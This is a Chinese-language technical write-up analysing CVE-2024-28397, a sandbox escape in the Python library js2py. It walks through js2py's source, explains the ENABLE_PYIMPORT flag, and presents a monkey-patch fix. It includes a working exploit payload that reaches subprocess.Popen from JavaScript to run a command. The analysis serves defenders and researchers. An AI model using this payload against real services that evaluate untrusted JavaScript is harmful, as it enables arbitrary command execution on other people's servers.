CVE-2024-28397 js2Py逃逸浅析

前言

这是在微信中给我推送的一个漏洞信息,js2py作为一个在python语言中进行js操作的依赖库,确实使用的用途十分广泛。但是由于这个库更多的应当是用于进行爬虫操作,我对于这个库的第一印象也只是在渗透测试中破解前端解密的时候使用过。因此它应该没有什么能够影响的Web资产面。

这里的漏洞描述十分简单,我开始看的是云里雾里,也导致了这个原理十分简单的漏洞,一直调试了很久,下文记录一下整个心理历程。

漏洞原理

这是漏洞的payload,最开始我以为pyjsparser.parser.ENABLE_PYIMPORT = False的作用是阻止js代码中通过一些恶意的语句来限制出现python类的对象,因此我的目光是否在eval_js途中使得ENABLE_PYIMPORT =True,于是就开始了调试代码。

import js2py

payload = """
let cmd = "calc;"
let obj
obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
    }
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true)
console.log(n11)
"""
def main():
    try:
        result = js2py.eval_js(payload)
    except Exception as e:
        print(e)
        return False
    return result
if __name__ == "__main__":
    main()

首先进入到eval_js中,会先创建一个EvalJs对象,在创建EvalJs途中会初始化一些变量,前面self._var等都是空字典,直至six.iteritems(context),这里的six.py是一个在python2与python3中的代码兼容库,而这里的最终作用应该是为了python一些上下文的变量能够被JavaScript访问到。

def __init__(self, context={}, enable_require=False):
        self.__dict__['_context'] = {}
        exec (DEFAULT_HEADER, self._context)
        self.__dict__['_var'] = self._context['var'].to_python()

        if enable_require:
            def _js_require_impl(npm_module_name):
                from .node_import import require
                from .base import to_python
                return require(to_python(npm_module_name), context=self._context)
            setattr(self._var, 'require', _js_require_impl)

        if not isinstance(context, dict):
            try:
                context = context.__dict__
            except:
                raise TypeError(
                    'context has to be either a dict or have __dict__ attr')
        for k, v in six.iteritems(context):
            setattr(self._var, k, v)
def eval_js(js):
    e = EvalJs()
    return e.eval(js)

进入到eval后就会来到execute方法中,use_compilation_plan应该是与某种编译的方式有关,默认是False,随后会判断是否存在缓存,如果存在缓存,则会计算出hash用于查找编译过的代码,如果没有缓存,则会调用translate_js将JS代码转换成Python代码,最终把编译后的代码放入缓存,并通过exec执行代码。

def execute(self, js=None, use_compilation_plan=False):
        try:
            cache = self.__dict__['cache']
        except KeyError:
            cache = self.__dict__['cache'] = {}
        hashkey = hashlib.md5(js.encode('utf-8')).digest()
        try:
            compiled = cache[hashkey]
        except KeyError:
            code = translate_js(
                js, '', use_compilation_plan=use_compilation_plan)
            compiled = cache[hashkey] = compile(code, '<EvalJS snippet>',
                                                'exec')
        exec (compiled, self._context)(self, js=None, use_compilation_plan=False):
        try:
            cache = self.__dict__['cache']
        except KeyError:
            cache = self.__dict__['cache'] = {}
        hashkey = hashlib.md5(js.encode('utf-8')).digest()
        try:
            compiled = cache[hashkey]
        except KeyError:
            code = translate_js(
                js, '', use_compilation_plan=use_compilation_plan)
            compiled = cache[hashkey] = compile(code, '<EvalJS snippet>',
                                                'exec')
        exec (compiled, self._context)

在translate_js中,如果是use_compilation_plan的编译方式,则会采用计划编译,默认不是,就会进入到pyjsparser_parse_fn方法中将Javascript代码解析成AST树(可以简单理解为键值对的字典),通过clean_stacks清除编译过程中的堆栈中,通过translating_nodes.trans转换成python代码。

def translate_js(js, HEADER=DEFAULT_HEADER, use_compilation_plan=False, parse_fn=pyjsparser_parse_fn):
    if use_compilation_plan and not '//' in js and not '/*' in js:
        return translate_js_with_compilation_plan(js, HEADER=HEADER)
    parsed = parse_fn(js)
    translating_nodes.clean_stacks()
    return HEADER + translating_nodes.trans(
        parsed)

trans方法中通过从全局变量中获取需要翻译的节点Program,判断是否是标准翻译后,调用node对节点翻译成Python代码。

def trans(ele, standard=False):
    try:
        node = globals().get(ele['type'])
        if not node:
            raise NotImplementedError('%s is not supported!' % ele['type'])
        if standard:
            node = node.__dict__[
                'standard'] if 'standard' in node.__dict__ else node
        return node(**ele)
    except:
        #print ele
        raise

进入到Program当中,首先会通过reset重置堆栈,随后遍历代码的内容并添加变量与函数,通过inline_stack.inject_inlines替换掉内敛变量,最终转换成Python代码。

def Program(type, body):
    inline_stack.reset()  # 重置内联变量堆栈
    code = ''.join(trans(e) for e in body)  # 翻译每个节点并生成代码
    code = Context.get_code() + code  # 添加提升的元素(注册变量和定义函数)
    code = inline_stack.inject_inlines(code)  # 替换所有内联变量
    return code  # 返回最终生成的代码

直到调试到这样,我依旧没有看到我想要的ENABLE_PYIMPORT =True,并且我发现当我调试的时候,代码执行是不成功的,而直接运行是成功的,我尝试直接把pyjsparser.parser.ENABLE_PYIMPORT = False加到了代码执行前面,发现没有效果。最终才知晓了原因。

这里关于pyjsparser.parser.ENABLE_PYIMPORT = False的作用,其实是禁用 Python 导入功能 ,控制了是否允许在 JavaScript 代码中使用 Python 的导入语句。

import js2py
import pyjsparser
#pyjsparser.parser.ENABLE_PYIMPORT = False
js_code = """
    pyimport os;
    var current_dir = os.getcwd();
    current_dir;
"""

result = js2py.eval_js(js_code)
print(result)
def parseStatementListItem(self):
        if (self.lookahead['type'] == Token.Keyword):
            val = (self.lookahead['value'])
            if val == 'export':
                raise Ecma51NotSupported('ExportDeclaration')
            elif val == 'import':
                raise Ecma51NotSupported('ImportDeclaration')
            elif val == 'const' or val == 'let':
                return self.parseLexicalDeclaration({
                    'inFor': false
                })
            elif val == 'function':
                return self.parseFunctionDeclaration(Node())
            elif val == 'class':
                raise Ecma51NotSupported('ClassDeclaration')
            elif ENABLE_PYIMPORT and val == 'pyimport':  
                return self.parsePyimportStatement()
        return self.parseStatement()

这里从val中能够获取到pyimport,当ENABLE_PYIMPORT=true时才会进入到parsePyimportStatement()解析,否则会来到self.parseStatement()最终进入到throwUnexpectedToken抛出异常信息

但是payload没有受到限制,payload是通过当Javascript在于Python交互时,通过Object.getOwnPropertyNames({})获取了一个PyObjectWrapper,最终通过找到基类的Popen方法触发了命令执行。所以漏洞的成因是ENABLE_PYIMPORT = False的控制没有考虑全面。

obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__
#Object.getOwnPropertyNames获取到了PyObjectWrapper,然后通过类属性获取到基类

修复

这里发现者给出了漏洞的修复方案,主要就是通过替换了Object.getOwnPropertyNames原始方法的形式,使得getOwnPropertyNames只返回一个列表,从而获取不到pyObjectWrapper对象,但是也可能会对原来的代码产生一定的影响。

def monkey_patch():
    from js2py.constructors.jsobject import Object
    fn = Object.own["getOwnPropertyNames"]["value"].code
    def wraps(*args, **kwargs):
        result = fn(*args, **kwargs)
        return list(result)
    Object.own["getOwnPropertyNames"]["value"].code = wraps


if __name__ == "__main__":
    monkey_patch()

尝试下是否有其它方式可以绕过,关键就在于能不能不通过getOwnPropertyNames来获取PyObjectWrapper,查看内置的Python方法,还有getOwnPropertyDescriptor,getOwnPropertySymbols等分别用于获取属性描述符,对象的符号属性。

Object.keys()
Object.getOwnPropertyDescriptor()
Object.getOwnPropertySymbols()
Object.entries()
Object.getPrototypeOf()
Object.create()
...似乎都不行

类似如下,虽然它们都是Python对象,比如PyJsString、PyJsObject,但是最终返回出去的只是那个值,只有getOwnPropertyNames返回的显示是一个对象,最终也是没有找到。

总结

js2py沙盒逃逸的成因就是因为Javascirpt与Python进行交互途中,对代码的限制不严,导致能够在js中获取到pyObjectWrapper对象进而获取基类,造成了逃逸。

参考文章:漏洞发现者Marven11的payload